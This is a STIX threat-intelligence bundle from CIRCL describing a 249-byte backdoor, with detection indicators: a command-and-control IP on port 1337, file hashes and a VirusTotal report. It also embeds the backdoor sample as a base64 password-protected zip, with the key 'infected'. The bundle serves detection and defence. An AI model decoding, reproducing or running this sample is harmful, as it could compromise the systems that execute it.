{ "type": "bundle", "id": "bundle--5e00d123-d688-417f-aafe-40fb02de0b81", "objects": [ { "type": "identity", "spec_version": "2.1", "id": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f", "created": "2019-12-23T14:43:48.000Z", "modified": "2019-12-23T14:43:48.000Z", "name": "CIRCL", "identity_class": "organization" }, { "type": "report", "spec_version": "2.1", "id": "report--5e00d123-d688-417f-aafe-40fb02de0b81", "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f", "created": "2019-12-23T14:43:48.000Z", "modified": "2019-12-23T14:43:48.000Z", "name": "OSINT - Reversing a real-world 249 bytes backdoor!", "published": "2019-12-23T14:44:10Z", "object_refs": [ "observed-data--5e00d23b-051c-4038-866e-4aaa02de0b81", "url--5e00d23b-051c-4038-866e-4aaa02de0b81", "indicator--5e00d186-98c8-4333-8ce9-464802de0b81", "indicator--5e00d1ba-d438-4138-90ad-427802de0b81", "indicator--565a1793-5fe6-4024-aa00-e20ba4508e7d", "x-misp-object--2be25da5-2716-4bb5-b8e7-cc49a557b6ea", "indicator--5e00d259-cf84-4973-84be-41ac02de0b81", "relationship--874dffcf-056c-4d40-ad7d-980448d468a8", "relationship--ee6df6af-f149-433c-b72f-a49a5d0466b1", "relationship--01ba04d6-6013-4a7c-a82f-cb20b06900b7", "relationship--7d49048e-69d1-4a9e-b85b-68ed5363be81" ], "labels": [ "Threat-Report", "misp:tool=\"MISP-STIX-Converter\"", "type:OSINT", "osint:lifetime=\"perpetual\"", "osint:certainty=\"50\"", "ms-caro-malware:malware-type=\"Backdoor\"" ], "object_marking_refs": [ "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9" ] }, { "type": "observed-data", "spec_version": "2.1", "id": "observed-data--5e00d23b-051c-4038-866e-4aaa02de0b81", "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f", "created": "2019-12-23T14:42:03.000Z", "modified": "2019-12-23T14:42:03.000Z", "first_observed": "2019-12-23T14:42:03Z", "last_observed": "2019-12-23T14:42:03Z", "number_observed": 1, "object_refs": [ "url--5e00d23b-051c-4038-866e-4aaa02de0b81" ], "labels": [ "misp:type=\"link\"", "misp:category=\"External analysis\"" ] }, { "type": "url", "spec_version": "2.1", "id": "url--5e00d23b-051c-4038-866e-4aaa02de0b81", "value": "https://anee.me/reversing-a-real-world-249-bytes-backdoor-aadd876c0a32?gi=af1848a0c8d6" }, { "type": "indicator", "spec_version": "2.1", "id": "indicator--5e00d186-98c8-4333-8ce9-464802de0b81", "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f", "created": "2019-12-23T14:39:02.000Z", "modified": "2019-12-23T14:39:02.000Z", "description": "Apparently it tries to make a socket and connect to the IP address: 104.248.237.194 on port number 1337. This ip address is owned by Digital Ocean.", "pattern": "[(network-traffic:dst_ref.type = 'ipv4-addr' AND network-traffic:dst_ref.value = '104.248.237.194') AND network-traffic:dst_port = '1337']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2019-12-23T14:39:02Z", "kill_chain_phases": [ { "kill_chain_name": "misp-category", "phase_name": "network" } ], "labels": [ "misp:name=\"ip-port\"", "misp:meta-category=\"network\"", "misp:to_ids=\"True\"" ] }, { "type": "indicator", "spec_version": "2.1", "id": "indicator--5e00d1ba-d438-4138-90ad-427802de0b81", "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f", "created": "2019-12-23T14:43:48.000Z", "modified": "2019-12-23T14:43:48.000Z", "description": "Epic! This 249 byte backdoor can run any shellcode we give it. The attackers can deploy it on an offshore IP address and execute arbitrary instructions on the victim\u00e2\u20ac\u2122s box.", "pattern": "[file:hashes.MD5 = '93363683dcf1ccc4db296fa5fde69b71' AND file:hashes.SHA1 = '0d4570ae80f9fca2d4b68a7f4b88dd0eb2df3573']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2019-12-23T14:43:48Z", "kill_chain_phases": [ { "kill_chain_name": "misp-category", "phase_name": "file" } ], "labels": [ "misp:name=\"file\"", "misp:meta-category=\"file\"", "misp:to_ids=\"True\"" ] }, { "type": "indicator", "spec_version": "2.1", "id": "indicator--565a1793-5fe6-4024-aa00-e20ba4508e7d", "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f", "created": "2019-12-23T14:43:22.000Z", "modified": "2019-12-23T14:43:22.000Z", "pattern": "[file:hashes.MD5 = '93363683dcf1ccc4db296fa5fde69b71' AND file:hashes.SHA1 = '0d4570ae80f9fca2d4b68a7f4b88dd0eb2df3573' AND file:hashes.SHA256 = '5141d29d0278c8da4eac177126cbf4d15623502d4763abd6d3a4dca2a3ea616e']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2019-12-23T14:43:22Z", "kill_chain_phases": [ { "kill_chain_name": "misp-category", "phase_name": "file" } ], "labels": [ "misp:name=\"file\"", "misp:meta-category=\"file\"", "misp:to_ids=\"True\"" ] }, { "type": "x-misp-object", "spec_version": "2.1", "id": "x-misp-object--2be25da5-2716-4bb5-b8e7-cc49a557b6ea", "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f", "created": "2019-12-23T14:41:16.000Z", "modified": "2019-12-23T14:41:16.000Z", "labels": [ "misp:name=\"virustotal-report\"", "misp:meta-category=\"misc\"" ], "x_misp_attributes": [ { "type": "datetime", "object_relation": "last-submission", "value": "2019-12-23T14:37:22", "category": "Other", "uuid": "455902f8-0097-4722-b3e8-632b0576b786" }, { "type": "link", "object_relation": "permalink", "value": "https://www.virustotal.com/file/5141d29d0278c8da4eac177126cbf4d15623502d4763abd6d3a4dca2a3ea616e/analysis/1577111842/", "category": "Payload delivery", "uuid": "8e8622e6-c217-4007-b5b1-f687b7229150" }, { "type": "text", "object_relation": "detection-ratio", "value": "16/60", "category": "Payload delivery", "uuid": "9eace253-03a3-48a4-b9df-372f58d000fe" } ], "x_misp_meta_category": "misc", "x_misp_name": "virustotal-report" }, { "type": "indicator", "spec_version": "2.1", "id": "indicator--5e00d259-cf84-4973-84be-41ac02de0b81", "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f", "created": "2019-12-23T14:42:33.000Z", "modified": "2019-12-23T14:42:33.000Z", "description": "The payload", "pattern": "[file:hashes.MD5 = '93363683dcf1ccc4db296fa5fde69b71' AND file:hashes.SHA1 = '0d4570ae80f9fca2d4b68a7f4b88dd0eb2df3573' AND file:hashes.SHA256 = '5141d29d0278c8da4eac177126cbf4d15623502d4763abd6d3a4dca2a3ea616e' AND file:name = 'pay.bin' AND file:size = '249' AND (file:content_ref.payload_bin = 'UEsDBBQACQAIAFF1l0/yRZ1UsgAAAPkAAAAgABwAOTMzNjM2ODNkY2YxY2NjNGRiMjk2ZmE1ZmRlNjliNzFVVAkAA1nSAF5Z0gBedXgLAAEEIQAAAAQhAAAAvqjt0iUIi4uyNisDgBbMaHCnsKqPxjxpPH/j7WjbigFyFZA/IjIYjAG+CYO0Z4hGM+ugnHUGqFnGgUZG9pDrFQxcSI06cNK19h+1W8HjHTIGLnsIXlwIYPEyVaTS7mpAP9Cp/67AnVBRTqd9OiDzStsPebcgilKPPiXPmG3PvTFWBBCtEcVIwswY6e3dSDdUsZJ77r11CBOk89VTgD49ONCQx5n3uP0Gj9dDUCyQ+TrGiFBLBwjyRZ1UsgAAAPkAAABQSwMECgAJAAAAUXWXT+YK5VMTAAAABwAAAC0AHAA5MzM2MzY4M2RjZjFjY2M0ZGIyOTZmYTVmZGU2OWI3MS5maWxlbmFtZS50eHRVVAkAA1nSAF5Z0gBedXgLAAEEIQAAAAQhAAAA5ApOcJaEASZbKJeSi3wsUB8AIVBLBwjmCuVTEwAAAAcAAABQSwECHgMUAAkACABRdZdP8kWdVLIAAAD5AAAAIAAYAAAAAAAAAAAApIEAAAAAOTMzNjM2ODNkY2YxY2NjNGRiMjk2ZmE1ZmRlNjliNzFVVAUAA1nSAF51eAsAAQQhAAAABCEAAABQSwECHgMKAAkAAABRdZdP5grlUxMAAAAHAAAALQAYAAAAAAABAAAApIEcAQAAOTMzNjM2ODNkY2YxY2NjNGRiMjk2ZmE1ZmRlNjliNzEuZmlsZW5hbWUudHh0VVQFAANZ0gBedXgLAAEEIQAAAAQhAAAAUEsFBgAAAAACAAIA2QAAAKYBAAAAAA==' AND file:content_ref.x_misp_filename = 'pay.bin' AND file:content_ref.hashes.MD5 = '93363683dcf1ccc4db296fa5fde69b71' AND file:content_ref.mime_type = 'application/zip' AND file:content_ref.encryption_algorithm = 'mime-type-indicated' AND file:content_ref.decryption_key = 'infected')]", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2019-12-23T14:42:33Z", "kill_chain_phases": [ { "kill_chain_name": "misp-category", "phase_name": "file" } ], "labels": [ "misp:name=\"file\"", "misp:meta-category=\"file\"", "misp:to_ids=\"True\"" ] }, { "type": "relationship", "spec_version": "2.1", "id": "relationship--874dffcf-056c-4d40-ad7d-980448d468a8", "created": "2019-12-23T14:40:19.000Z", "modified": "2019-12-23T14:40:19.000Z", "relationship_type": "connects-to", "source_ref": "indicator--5e00d1ba-d438-4138-90ad-427802de0b81", "target_ref": "indicator--5e00d186-98c8-4333-8ce9-464802de0b81" }, { "type": "relationship", "spec_version": "2.1", "id": "relationship--ee6df6af-f149-433c-b72f-a49a5d0466b1", "created": "2019-12-23T14:43:48.000Z", "modified": "2019-12-23T14:43:48.000Z", "relationship_type": "related-to", "source_ref": "indicator--5e00d1ba-d438-4138-90ad-427802de0b81", "target_ref": "indicator--5e00d259-cf84-4973-84be-41ac02de0b81" }, { "type": "relationship", "spec_version": "2.1", "id": "relationship--01ba04d6-6013-4a7c-a82f-cb20b06900b7", "created": "2019-12-23T14:41:17.000Z", "modified": "2019-12-23T14:41:17.000Z", "relationship_type": "analysed-with", "source_ref": "indicator--565a1793-5fe6-4024-aa00-e20ba4508e7d", "target_ref": "x-misp-object--2be25da5-2716-4bb5-b8e7-cc49a557b6ea" }, { "type": "relationship", "spec_version": "2.1", "id": "relationship--7d49048e-69d1-4a9e-b85b-68ed5363be81", "created": "2019-12-23T14:43:22.000Z", "modified": "2019-12-23T14:43:22.000Z", "relationship_type": "connects-to", "source_ref": "indicator--565a1793-5fe6-4024-aa00-e20ba4508e7d", "target_ref": "indicator--5e00d186-98c8-4333-8ce9-464802de0b81" }, { "type": "marking-definition", "spec_version": "2.1", "id": "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9", "created": "2017-01-20T00:00:00.000Z", "definition_type": "tlp", "name": "TLP:WHITE", "definition": { "tlp": "white" } } ] }